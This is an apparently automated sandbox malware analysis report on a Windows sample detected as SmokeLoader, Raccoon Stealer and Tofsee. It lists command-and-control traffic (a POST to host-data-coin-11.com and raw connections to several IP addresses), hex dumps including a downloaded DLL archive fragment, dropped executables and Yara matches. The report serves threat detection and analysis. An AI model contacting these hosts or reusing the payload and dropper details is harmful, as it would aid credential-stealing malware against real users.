69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 33 32 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 6f 7a 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 6d 6f 7a 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 70 61 64 64 69 6e 67 3a 31 32 38 70 78 20 31 36 70 78 20 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2d 6d 6f 7a 2d 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:26:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 08:26:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 14 Jan 2022 08:26:22 GMTContent-Type: application/octet-streamContent-Length: 2828315Connection: keep-aliveLast-Modified: Fri, 07 Jan 2022 23:09:57 GMTETag: "61d8c845-2b281b"Accept-Ranges: bytesData Raw: 50 4b 03 04 14 00 00 00 08 00 9a 7a 6e 4e 3c 09 f8 7b 72 d2 00 00 d0 69 01 00 0b 00 00 00 6e 73 73 64 62 6d 33 2e 64 6c 6c ec fd 7f 7c 14 d5 d5 38 00 cf ee 4e 92 0d 59 d8 05 36 18 24 4a 90 a0 d1 a0 06 16 24 31 80 d9 84 dd 44 20 b0 61 c9 2e 11 13 b4 6a 4c b7 56 f9 b1 43 b0 12 08 4e 02 3b 19 b7 f5 e9 a3 7d ec 2f ab f5 f1 e9 0f db a7 b6 b5 80 d5 ea 86 d8 24 f8 13 81 5a 2c 54 a3 52 bd 71 63 8d 92 86 45 63 e6 3d e7 dc 99 dd 0d da ef f7 fb be 7f bf f0 c9 ec cc dc 3b f7 9e 7b ee b9 e7 9e 73 ee b9 e7 d6 de 70 bf 60 11 04 41 84 3f 4d 13 84 83 02 ff 57 21 fc df ff e5 99 04 61 ca ec 3f 4e 11 9e ca 7e 65 ce 41 d3 ea 57 e6 ac 6f f9 fa b6 82 cd 5b ef ba 7d eb cd df 2c b8 e5 e6 3b ef bc 2b 5c f0 b5 db 0a b6 4a 77 16 7c fd ce 82 15 6b fd 05 df bc eb d6 db ae 9a 3c 79 52 a1 5e c6 45 07 6f 18 6e 78 73 d1 63 c6 9f ef d1 9f 3d 56 0f bf ed cf 2c fe e9 46 f8 ed bb fb cc 63 75 f4 bc e4 a7 1b e8 77 c1 4f fd f4 5b f2 d3 75 f0 7b cf d3 3c df 77 ff b8 f8 a7 37 50 19 8b 1f 7b 91 9e 4b 7e ea a6 df 45 f4 dd 77 ff f8 d2 63 fc f7 1a 7a 5e f7 f5 5b 5a b0 be 7f d7 36 9f 47 10 56 9b 32 84 e7 2b ba 6e 34 de 0d 08 97 cc c9 31 4d c9 11 2e 84 86 97 f0 77 7b 66 c3 bd 03 6e 4a 4c f8 e8 a0 7b b3 20 64 0a f4 9c fc 15 da 4d 84 e4 2b b6 98 20 b9 82 7f e4 10 84 d4 2f ff 29 b8 ce 24 58 21 b5 08 b2 f4 e3 cb 9b 4c c2 0e 4b 1a 60 ab 4d c2 91 8b e0 77 b3 49 f8 ef 4c 41 38 72 ad 49 58 ff 7f e8 a3 a2 72 d3 c4 be 04 38 37 98 ff 7d fe ab c2 b7 ed 08 c3 ef e9 3c bd 5d 17 72 b8 d3 ff 15 00 54 57 6d bd f5 e6 f0 cd 82 b0 62 36 2f 13 5f 0a 17 9b d2 b3 61 bd 15 57 f1 6c 42 02 db e0 33 11 6e 84 e5 5f ca 17 bb 6a eb b6 ad b7 08 02 6f eb 4d 7a 9d 15 5f 51 de d6 db ee b8 eb 16 81 da 8e 38 10 ac f0 bb e2 4b f9 2a 85 ff ff bf ff a7 7f f5 ea 90 bc ac c8 67 72 08 e1 4c b9 cd 2a 48 2e b5 d6 76 b6 fb 8b 84 36 5b 2a 92 bf e9 34 49 97 a8 dd 7b de 31 67 09 c2 3c 1c 02 3e 4d ca d3 24 47 9d 26 59 d9 8b d0 f7 f2 0b ce c6 1e 2d f7 a1 12 93 a3 4f 98 01 39 5c b1 c6 1e 2c 74 c8 e1 57 1b 6d ae 58 20 a8 b6 59 d5 33 ea 2a 87 e2 19 53 3c 23 7d 1e 22 85 3e cf 30 52 42 67 2c 9c 1d b2 6c 68 2e 73 8b e1 6f d8 0f b8 c5 e6 72 cf 70 38 13 ae 09 29 bf cf 33 82 1d 4b 0f 76 fb 01 93 eb 64 73 d9 8d 6e 33 14 2b 5d 07 8f f6 03 2b dc e3 ae c3 ed 6b 72 4d 75 01 5f 90 59 5c 82 a0 0e cb 2f 38 54 cf 18 96 0b af 06 26 0b 42 43 83 22 8d 75 8e da 3b be 0f 65 a9 6b 20 75 24 1e 81 cf 15 8f cd 7e 60 bd 7b 1c 21 ab 4d c8 09 f3 ae 5c 57 ac 59 a9 33 37 2b 6e 51 f5 5a 95 2a ab ea b1 c5 33 5c 47 15 bf 35 64 be a1 f8 90 5a 9f 68 56 4c cd ea 5a 1b 7c 6b 89 35 17 f7 ab 58 46 ac 59 1e cc 6c 56 56 57 9a d5 43 98 d8 7c bd fd 80 80 cf 62 fb aa 5c 93 5a 0f 95 87 6d 81 20 f3 03 30 f0 d4 d0 50 fe 46 38 7b 5d 90 55 11 70 da da 52 57 2c 6e 91 fb b5 4d 4d 1b d5 7f e8 c8 73 aa 1e c2 5f 40 b5 aa 3e 51

Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://rftojqy.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 230Host: host-data-coin-11.com

Source: unknown	HTTPS traffic detected: 185.233.81.115:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.4:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.105:443 -> 192.168.2.4:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.4:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.4:49881 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.4:49888 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 10.0.rifsswe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.tijXCZsbGe.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.tijXCZsbGe.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rifsswe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.rifsswe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.tijXCZsbGe.exe.5615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rifsswe.6315a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.rifsswe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.1.rifsswe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.767900095.0000000000640000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.719913794.0000000000591000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.768056484.00000000022F1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.719885078.0000000000570000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.708378047.0000000004DF1000.00000020.00020000.sdmp, type: MEMORY

Source: 9334.exe, 0000000B.00000000.767215703.000000000069A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 38.2.5C89.exe.4d40e50.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.5C89.exe.4d40e50.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.3.5C89.exe.4de0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.5C89.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.3.5C89.exe.4de0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.5C89.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000026.00000003.868438969.0000000004DE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000002.920325973.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.1024945743.0000000004D40000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000003.917559502.0000000004DF0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000002.931172576.0000000004D50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.953575570.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 5C89.exe PID: 5200, type: MEMORYSTR

Spam, unwanted Advertisements and Ransom Demands:

Yara detected Tofsee

Show sources

Source: Yara match	File source: 34.2.svchost.exe.5d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.gecrjwsv.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.E748.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.svchost.exe.5d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.gecrjwsv.exe.5a0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.3.gecrjwsv.exe.5a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.gecrjwsv.exe.580e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.E748.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.gecrjwsv.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.gecrjwsv.exe.5a0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.E748.exe.630e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.E748.exe.650000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000002.803587070.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.803962316.00000000005A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.949927934.00000000005D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.801375609.00000000005A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.803904384.0000000000580000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.783551055.0000000000650000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: E748.exe PID: 5476, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gecrjwsv.exe PID: 2860, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 6732, type: MEMORYSTR

System Summary:

PE file has nameless sections

Show sources

Source: 8783.exe.5.dr	Static PE information: section name:
Source: 8783.exe.5.dr	Static PE information: section name:
Source: 8783.exe.5.dr	Static PE information: section name:
Source: 8783.exe.5.dr	Static PE information: section name:
Source: 8783.exe.5.dr	Static PE information: section name:
Source: 8783.exe.5.dr	Static PE information: section name:
Source: 9DFA.exe.5.dr	Static PE information: section name:
Source: 9DFA.exe.5.dr	Static PE information: section name:
Source: 9DFA.exe.5.dr	Static PE information: section name:
Source: 9DFA.exe.5.dr	Static PE information: section name:
Source: 9DFA.exe.5.dr	Static PE information: section name:
Source: 9DFA.exe.5.dr	Static PE information: section name:

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 7100 -ip 7100

Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 0_2_00425030	0_2_00425030
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 0_2_0042B410	0_2_0042B410
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 0_2_0042A630	0_2_0042A630
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 1_2_00402A5F	1_2_00402A5F
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 1_2_00402AB3	1_2_00402AB3
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 1_1_00402A5F	1_1_00402A5F
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 1_1_00402AB3	1_1_00402AB3
Source: C:\Users\user\AppData\Roaming\rifsswe	Code function: 9_2_00633253	9_2_00633253
Source: C:\Users\user\AppData\Roaming\rifsswe	Code function: 9_2_006331FF	9_2_006331FF
Source: C:\Users\user\AppData\Roaming\rifsswe	Code function: 10_2_00402A5F	10_2_00402A5F
Source: C:\Users\user\AppData\Roaming\rifsswe	Code function: 10_2_00402AB3	10_2_00402AB3
Source: C:\Users\user\AppData\Roaming\rifsswe	Code function: 10_1_00402A5F	10_1_00402A5F
Source: C:\Users\user\AppData\Roaming\rifsswe	Code function: 10_1_00402AB3	10_1_00402AB3
Source: C:\Users\user\AppData\Local\Temp\9334.exe	Code function: 11_2_004027CA	11_2_004027CA
Source: C:\Users\user\AppData\Local\Temp\9334.exe	Code function: 11_2_00401FF1	11_2_00401FF1
Source: C:\Users\user\AppData\Local\Temp\9334.exe	Code function: 11_2_0040158E	11_2_0040158E
Source: C:\Users\user\AppData\Local\Temp\9334.exe	Code function: 11_2_004015A6	11_2_004015A6
Source: C:\Users\user\AppData\Local\Temp\9334.exe	Code function: 11_2_004015BC	11_2_004015BC
Source: C:\Users\user\AppData\Local\Temp\9334.exe	Code function: 11_2_00411065	11_2_00411065
Source: C:\Users\user\AppData\Local\Temp\9334.exe	Code function: 11_2_00412A02	11_2_00412A02
Source: C:\Users\user\AppData\Local\Temp\9334.exe	Code function: 11_2_0040CAC5	11_2_0040CAC5
Source: C:\Users\user\AppData\Local\Temp\9334.exe	Code function: 11_2_00410B21	11_2_00410B21
Source: C:\Users\user\AppData\Local\Temp\9334.exe	Code function: 11_2_004115A9	11_2_004115A9
Source: C:\Users\user\AppData\Local\Temp\9334.exe	Code function: 11_2_0048160C	11_2_0048160C
Source: C:\Users\user\AppData\Local\Temp\9334.exe	Code function: 11_2_004815DE	11_2_004815DE
Source: C:\Users\user\AppData\Local\Temp\9334.exe	Code function: 11_2_004815F6	11_2_004815F6
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Code function: 16_2_00410800	16_2_00410800
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Code function: 16_2_00411280	16_2_00411280
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Code function: 16_2_004103F0	16_2_004103F0
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Code function: 16_2_004109F0	16_2_004109F0
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Code function: 17_2_0040C913	17_2_0040C913
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Code function: 17_2_0042B030	17_2_0042B030
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Code function: 17_2_0042A250	17_2_0042A250
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Code function: 17_2_00424C50	17_2_00424C50
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Code function: 18_2_02E596F0	18_2_02E596F0
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Code function: 18_2_02E50460	18_2_02E50460
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Code function: 18_2_02E50470	18_2_02E50470
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Code function: 18_2_02EDDE18	18_2_02EDDE18
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Code function: 18_2_02ED8658	18_2_02ED8658
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Code function: 18_2_02EDCC48	18_2_02EDCC48
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Code function: 18_2_02ED8DE8	18_2_02ED8DE8
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Code function: 18_2_02ED8DF8	18_2_02ED8DF8
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Code function: 18_2_02ED8DF4	18_2_02ED8DF4
Source: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe	Code function: 32_2_0040C913	32_2_0040C913
Source: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe	Code function: 32_2_0042B030	32_2_0042B030
Source: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe	Code function: 32_2_0042A250	32_2_0042A250
Source: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe	Code function: 32_2_00424C50	32_2_00424C50

Source: C:\Users\user\AppData\Local\Temp\E748.exe

Code function: 17_2_00401280 ShellExecuteExW,lstrlenW,GetStartupInfoW,CreateProcessWithLogonW,WaitForSingleObject,CloseHandle,CloseHandle,GetLastError,GetLastError,

17_2_00401280

Source: tijXCZsbGe.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: tijXCZsbGe.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: tijXCZsbGe.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: tijXCZsbGe.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 6FB4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 6FB4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 6FB4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 6FB4.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 9334.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 9334.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 9334.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: DB31.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: DB31.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: DB31.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: DB31.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: E748.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: E748.exe.5.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
